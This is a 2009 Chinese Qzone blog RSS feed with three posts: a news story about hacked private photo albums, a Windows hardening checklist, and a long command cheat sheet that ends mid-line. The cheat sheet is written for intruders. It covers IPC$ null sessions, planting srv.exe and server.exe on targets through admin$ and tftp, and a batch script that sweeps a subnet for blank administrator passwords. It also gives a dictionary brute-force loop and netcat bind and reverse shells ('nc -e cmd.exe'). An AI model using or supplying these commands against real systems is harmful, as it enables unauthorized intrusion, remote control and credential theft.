<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[醉风清影]]></title>
<description><![CDATA[醉风清影]]></description>
<link>http://869570367.qzone.qq.com</link>
<lastBuildDate>Thu, 26 Nov 2009 11:19:09 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Thu, 12 Nov 2009 04:40:40 GMT</pubDate>

<item>
<title><![CDATA[美女相册设密码其实不安全]]></title>
<link>http://869570367.qzone.qq.com/blog/1258000840</link>
<description><![CDATA[　泾阳网综合网消息：网络相册是许多人用相片写日记或是表现自我的媒介，然而可千万不要以为只要上了“密码锁”，就一定安然无恙。所谓“道高一尺　魔高一丈”，许多网络美女甚至是知名艺人的私密照片都曾流出过。<br>　　台湾东森新闻消息，例如最近轰动网络的“无名D罩杯美女”，就引发台湾、中国大陆与香港三地的网友疯狂下载，通常只要照片一外流，即使动用到法律手段也是无法根除。因为网络的世界四通八达，要完全断绝的几率不高。<br>　　例如台湾娱乐圈前“黑涩会”美眉容瑄将自己的裸照与男友舌吻、裸拥的亲密照片，放在博客中设定密码禁止他人浏览，没想到却被黑客破解下载，转贴在各大色情网站供网友欣赏，容瑄获知后，关闭大部分相册并报案提告，但照片仍在网络上四处流传。<br>　　现在也出现了一个怪现象，色情网站最有点阅率保证的不是火辣写真女郎与模特儿的照片，而是学生妹，只要长相不差都会红，因此，有心人士刻意盗取密码，取得高中女生和大学女生的私密裸照或与男友的亲密照，上传在色情网站上。<br>　　根据台湾警方透露，无名小站的“百大美女”与“内衣美女”最轻易成为黑客锁定的目标，甚至有人在色情网站上点名要特定美女的私密照，请版主务必破解密码。有警员直指，歹徒若非与网管人员联手，就是利用网站的漏洞，窃取帐号密码。总之，台湾警方提醒，博客相册设密码防不了小人，而且木马程式更让一般有心人士就能窥探他人电脑的密码，美女们还是不要轻易将私密照上传到博客，以免轻易被“看光光”。<br>　来源：<a href="http://www.jingyang.org/xinwen/shehui/200911/0287142.htm" target="_blank">http://www.jingyang.org/xinwen/shehui/200911/0287142.htm</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1258000840#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Thu, 12 Nov 2009 04:40:40 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1258000840</guid>
</item>

<item>
<title><![CDATA[没啥安全]]></title>
<link>http://869570367.qzone.qq.com/blog/1256968114</link>
<description><![CDATA[<br>1、禁止IPC空连接<br>　　<br>　　Cracker可以利用net use命令建立空连接，进而入侵，还有net view，nbtstat这些都是基于空连接的，禁止空连接就好了。打开注册表，找到Local_MachineSystemCurrentControlSetControlLSA-RestrictAnonymous 把这个值改成”1”即可。<br>　　<br>　　2、禁止At命令<br>　　<br>　　Cracker往往给你个木马然后让它运行，这时他就需要at命令了。打开管理工具-服务，禁用task scheduler服务即可。<br>　　<br>　　3、关闭超级终端服务<br>　　<br>　　如果你开了的话，这个漏洞都烂了。<br>　　<br>　　4、关闭SSDP Discover Service服务<br>　　<br>　　这个服务主要用于启动家庭网络设备上的UPnP设备，服务同时会启动5000端口。可能造成DDOS攻击，让CPU使用达到100%，从而使计算机崩溃。照理说没人会对个人机器费力去做DDOS，但这个使用过程中也非常的占用带宽，它会不断的向外界发送数据包，影响网络传输速率，所以还是关了好。<br>　　<br>　　5、关闭Remote Registry服务<br>　　<br>　　看看就知道了，允许远程修改注册表?!<br>　　<br>　　6、禁用TCP/IP上的NetBIOS<br>　　<br>　　网上邻居-属性-本地连接-属性-Internet协议(TCP/IP)属性-高级-WINS面板-NetBIOS设置-禁用TCP/IP上的NetBIOS。这样Cracker就无法用nbtstat命令来读取你的NetBIOS信息和网卡MAC地址了。<br>　　<br>　　7、关闭DCOM服务<br>　　<br>　　这就是135端口了，除了被用做查询服务外，它还可能引起直接的攻击，关闭方法是：在运行里输入dcomcnfg，在弹出的组件服务窗口里选择默认属性标签，取消“在此计算机上启用分布式COM”即可。<br>　　<br>　　8、把共享文件的权限从“everyone”组改成“授权用户”<br>　　<br>　　“everyone” 在win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成“everyone”组。包括打印共享，默认的属性就是“everyone”组的，一定不要忘了改。<br>　　<br>　　9、取消其他不必要的服务<br>　　<br>　　请根据自己需要自行决定，下面给出HTTP/FTP服务器需要最少的服务作为参考：<br>　　<br>　　Event Log<br>　　<br>　　License Logging Service<br>　　<br>　　Windows NTLM Security Support Provider<br>　　<br>　　Remote Procedure Call (RPC) Service<br>　　<br>　　Windows NT Server or Windows NT Workstation<br>　　<br>　　IIS Admin Service<br>　　<br>　　MSDTC<br>　　<br>　　World Wide Web Publishing Service<br>　　<br>　　Protected Storage<br>　　<br>　　10、更改TTL值<br>　　<br>　　Cracker可以根据ping回的TTL值来大致判断你的操作系统，如：<br>　　<br>　　TTL=107(WINNT);<br>　　<br>　　TTL=108(win2000);<br>　　<br>　　TTL=127或128(win9x);<br>　　<br>　　TTL=240或241(Linux);<br>　　<br>　　TTL=252(solaris);<br>　　<br>　　TTL=240(Irix);<br>　　<br>　　实际上你可以自己更改的：<br>　　<br>　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip<br>　　<br>　　Parameters：DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)改成一个莫名其妙的数字如258，起码让那些小菜鸟晕上半天，就此放弃入侵你也不一定哦。<br>　　<br>　　11、账户安全<br>　　<br>　　首先禁止一切账户，除了你自己，呵呵。然后把Administrator改名。我呢就顺手又建了个Administrator账户，不过是什么权限都没有的那种，然后打开记事本，一阵乱敲，复制，粘贴到“密码”里去，呵呵，来破密码吧!破完了才发现是个低级账户，看你崩溃不?<br>　　<br>　　12、取消显示最后登录用户<br>　　<br>　　HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrent VersionWinlogon：DontDisplayLastUserName把值改为1。<br>　　<br>　　13、删除默认共享<br>　　<br>　　有人问过我一开机就共享所有盘，改回来以后，重启又变成了共享是怎么回事，这是2K为管理而设置的默认共享，必须通过修改注册表的方式取消它：<br>　　<br>　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServer<br>　　<br>　　Parameters：AutoShareServer类型是REG_DWORD把值改为0即可。<br>　　<br>　　14、禁用LanManager 身份验证<br>　　<br>　　Windows NT Servers Service Pack 4 和后续的版本都支持三种不同的身份验证方法： LanManager (LM) 身份验证;Windows NT(也叫NTLM)身份验证;Windows NT Version 2.0 (也叫NTLM2) 身份验证;<br>　　<br>　　默认的情况下，当一个客户尝试连接一台同时支持LM 和 NTLM 身份验证方法的服务器时，LM 身份验证会优先被使用。所以建议禁止LM 身份验证方法。<br>　　<br>　　1. 打开注册表编辑器;<br>　　<br>　　2. 定位到 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa;<br>　　<br>　　3. 选择菜单“编辑”，“添加数值”;<br>　　<br>　　4. 数值名称中输入：LMCompatibilityLevel ，数值类型为：DWORD，单击 确定;<br>　　<br>　　5. 双击新建的数据，并根据具体情况设置以下值：<br>　　<br>　　0 - 发送 LM 和 NTLM响应;<br>　　<br>　　1 - 发送 LM 和 NTLM响应;<br>　　<br>　　2 - 仅发送 NTLM响应;<br>　　<br>　　3 - 仅发送 NTLMv2响应;(Windows 2000有效)<br>　　<br>　　4 - 仅发送 NTLMv2响应，拒绝 LM;(Windows 2000有效)<br>　　<br>　　5 - 仅发送 NTLMv2响应，拒绝 LM 和 NTLM;(Windows 2000有效)<br>　　 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1256968114#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 31 Oct 2009 05:48:34 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1256968114</guid>
</item>

<item>
<title><![CDATA[dos 全攻略]]></title>
<link>http://869570367.qzone.qq.com/blog/1256103909</link>
<description><![CDATA[<br>net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] &quot; &quot; /user:&quot; &quot; 建立IPC空链接 <br>net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] &quot;密码&quot; /user:&quot;用户名&quot; 建立IPC非空链接 <br>net use h: [url=file://\\ip\c$]\\ip\c$[/url] &quot;密码&quot; /user:&quot;用户名&quot; 直接登陆后映射对方C：到本地为H: <br>net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C：到本地为H: <br>net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 <br>net use h: /del 删除映射对方到本地的为H:的映射 <br>net user 用户名　密码　/add 建立用户 <br>net user guest /active:yes 激活guest用户 <br>net user 查看有哪些用户 <br>net user 帐户名 查看帐户的属性 <br>net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br>net start 查看开启了哪些服务 <br>net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br>net stop 服务名 停止某服务 <br>net time \\目标ip 查看对方时间 <br>net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br>net view 查看本地局域网内开启了哪些共享 <br>net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 <br>net config 显示系统网络设置 <br>net logoff 断开连接的共享 <br>net pause 服务名 暂停某服务 <br>net send ip &quot;文本信息&quot; 向对方发信息 <br>net ver 局域网内正在使用的网络连接类型和信息 <br>net share 查看本地开启的共享 <br>net share ipc$ 开启ipc$共享 <br>net share ipc$ /del 删除ipc$共享 <br>net share c$ /del 删除C：共享 <br>net user guest 12345 用guest用户登陆后用将密码改为12345 <br>net password 密码 更改系统登陆密码 <br>netstat -a 查看开启了哪些端口,常用netstat -an <br>netstat -n 查看端口的网络连接情况，常用netstat -an <br>netstat -v 查看正在进行的工作 <br>netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br>netstat -s 查看正在使用的所有协议使用情况 <br>nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br>tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br>ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br>ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br>ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br>tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br>kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br>del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br>move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br>fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，&quot;&gt; &quot;和&quot;&gt; &gt;&quot; 是重定向命令 <br>at id号 开启已注册的某个计划任务 <br>at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br>at id号 /delete 停止某个已注册的计划任务 <br>at 查看所有的计划任务 <br>at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br>finger username @host 查看最近有哪些用户登陆 <br>telnet ip 端口 远和登陆服务器,默认端口为23 <br>open ip 连接到IP（属telnet登陆后的命令） <br>telnet 在本机上直接键入telnet 将进入本机的telnet <br>copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br>copy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下 <br>cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br>copy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： <br>xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br>tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br>tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br>ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br>route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br>arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br>start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br>mem 查看cpu使用情况 <br>attrib 文件名(目录名) 查看某文件（目录）的属性 <br>attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br>dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br>date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 <br>set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br>set 显示当前所有的环境变量 <br>set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br>pause 暂停批处理程序，并显示出：请按任意键继续.... <br>if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br>goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br>call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br>for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br>echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br>echo 信息 在屏幕上显示出信息 <br>echo 信息 &gt;&gt; pass.txt 将&quot;信息&quot;保存到pass.txt文件中 <br>findstr &quot;Hello&quot; aa.txt 在aa.txt文件中寻找字符串hello <br>find 文件名 查找某文件 <br>title 标题名字 更改CMD窗口标题名字 <br>color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br>prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) <br>print 文件名 打印文本文件<br>ver 在DOS窗口下显示版本信息 <br>winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br>format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br>md　目录名 创建目录 <br>replace 源文件　要替换文件的目录 替换文件 <br>ren 原文件名　新文件名 重命名文件名 <br>tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br>type 文件名 显示文本文件的内容 <br>more 文件名 逐屏显示输出文件 <br>doskey 要锁定的命令＝字符 <br>doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br>taskmgr 调出任务管理器 <br>chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br>tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br>exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br>path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br>cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br>regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br>regedit /e 注册表文件名 导出注册表 <br>cacls 文件名　参数 显示或修改文件访问控制列表（ACL）――针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br>cacls 文件名 查看文件的访问用户权限列表 <br>REM 文本内容 在批处理文件中添加注解 <br>netsh 查看或更改本地网络配置情况<br>IIS服务命令： <br>iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br>iisreset /start或stop 启动（停止）所有Internet服务 <br>iisreset /restart 停止然后重新启动所有Internet服务 <br>iisreset /status 显示所有Internet服务状态 <br>iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br>iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br>iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br>iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br>FTP 命令： (后面有详细说明内容) <br>ftp的命令行格式为: <br>ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 <br>－d 使用调试方式。 <br>－n 限制ftp的自动登录,即不使用.netrc文件。 <br>－g 取消全局文件名。 <br>help [命令] 或 ？[命令] 查看命令说明 <br>bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br>pwd 列出当前远端主机目录 <br>put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br>get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br>mget [remote-files] 从远端主机接收一批文件至本地主机 <br>mput local-files 将本地主机中一批文件传送至远端主机 <br>dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br>ascii 设定以ASCII方式传送文件(缺省值) <br>bin 或 image 设定以二进制方式传送文件 <br>bell 每完成一次文件传送,报警提示 <br>cdup 返回上一级目录 <br>close 中断与远程服务器的ftp会话(与open对应) <br>open host[port] 建立指定ftp服务器连接,可指定连接端口 <br>delete 删除远端主机中的文件 <br>mdelete [remote-files] 删除一批文件 <br>mkdir directory-name 在远端主机中建立目录 <br>rename [from] [to] 改变远端主机中的文件名 <br>rmdir directory-name 删除远端主机中的目录 <br>status 显示当前FTP的状态 <br>system 显示远端主机系统类型 <br>user user-name [password] [account] 重新以别的用户名登录远端主机 <br>open host [port] 重新建立一个新的连接 <br>prompt 交互提示模式 <br>macdef 定义宏命令 <br>lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br>chmod 改变远端主机的文件权限 <br>case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br>cd remote－dir 进入远程主机目录 <br>cdup 进入远程主机目录的父目录 <br>! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br>MYSQL 命令： <br>mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 <br>（例：mysql -h110.110.110.110 -Uroot -P123456 <br>注:u与root可以不用加空格，其它也一样） <br>exit 退出MYSQL <br>mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br>grant select on 数据库.* to 用户名@登录主机 identified by \&quot;密码\&quot;; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br>show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br>use mysql； <br>show tables; 显示库中的数据表 <br>describe 表名; 显示数据表的结构 <br>create database 库名; 建库 <br>use 库名； <br>create table 表名 (字段设定列表)； 建表 <br>drop database 库名; <br>drop table 表名； 删库和删表 <br>delete from 表名; 将表中记录清空 <br>select * from 表名; 显示表中的记录 <br>mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br>win2003系统下新增命令（实用部份）： <br>shutdown /参数 关闭或重启本地或远程主机。 <br>参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 <br>例：shutdown /r /t 0 立即重启本地主机（无延时） <br>taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 <br>参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br>tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 <br>参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br>Linux系统下基本命令： 要区分大小写 <br>uname 显示版本信息（同win2K的 ver） <br>dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br>pwd 查询当前所在的目录位置 <br>cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br>cat 文件名 查看文件内容 <br>cat &gt;abc.txt 往abc.txt文件中写上内容。 <br>more 文件名 以一页一页的方式显示一个文本文件。 <br>cp 复制文件 <br>mv 移动文件 <br>rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br>mkdir 目录名 建立目录 <br>rmdir 删除子目录，目录内没有文档。 <br>chmod 设定档案或目录的存取权限 <br>grep 在档案中查找字符串 <br>diff 档案文件比较 <br>find 档案搜寻 <br>date 现在的日期、时间 <br>who 查询目前和你使用同一台机器的人以及Login时间地点 <br>w 查询目前上机者的详细资料 <br>whoami 查看自己的帐号名称 <br>groups 查看某人的Group <br>passwd 更改密码 <br>history 查看自己下过的命令 <br>ps 显示进程状态 <br>kill 停止某进程 <br>gcc 黑客通常用它来编译C语言写的文件 <br>su 权限转换为指定使用者 <br>telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br>ftp ftp连接上某服务器（同win2K）<br>附：批处理命令与变量<br>1：for命令及变量 基本格式： <br>FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。 <br>批处理每次能处理的变量从%0―%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2―%9指输入的第2-9个值；例：net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3<br>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个&quot;1&quot;指起始值，第二个&quot;1&quot;指增长量，第三个&quot;254&quot;指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}<br>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开 <br>command_parameters：为特定命令指定参数或命令行开关<br>IN (set)：指在(set)中取值；DO command ：指执行command<br>参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。 <br>用法举例： <br>@echo off <br>echo 用法格式：test.bat *.*.* &gt; test.txt<br>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find &quot;命令成功完成&quot; &gt;&gt;test.txt <br>存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有&quot;命令成功完成&quot;信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br>@echo off <br>echo 用法格式：ok.bat ip <br>FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br>存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。<br>2：if命令及变量 基本格式： <br>IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。 <br>例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。 <br>0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br>IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。 <br>例：“if &quot;%2%&quot;==&quot;4&quot; goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加&quot; &quot;） <br>IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。 <br>例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到&quot;:end&quot;标签处。 <br>IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.”<br><br>（二）系统外部命令(均需下载相关工具)：<br>1、瑞士军刀：nc.exe<br>参数说明： <br>-h 查看帮助信息 <br>-d 后台模式 <br>-e prog程序重定向，一但连接就执行［危险］ <br>-i secs延时的间隔 <br>-l 监听模式，用于入站连接 <br>-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br>-n IP地址，不能用域名 <br>-o film记录16进制的传输 <br>-p[空格]端口 本地端口号 <br>-r 随机本地及远程端口 <br>-t 使用Telnet交互方式 <br>-u UDP模式 <br>-v 详细输出，用-vv将更详细 <br>-w数字 timeout延时间隔 <br>-z 将输入，输出关掉（用于扫锚时） <br>基本用法： <br>nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br>nc -l -p 80 开启本机的TCP 80端口并监听 <br>nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br>nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br>nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br>高级用法： <br>nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br>nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br>nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br>type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br>本机上用：nc -l -p 本机端口 <br>在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K <br>nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br>本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br>在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br>备 注： <br>| 管道命令 <br>&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br>＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br>&gt;与&gt;&gt;的区别 　&quot;&gt;&quot;指：覆盖；&quot;&gt;&gt;&quot;指：保存到(添加到）。 <br>如：@dir c:\winnt &gt;&gt; 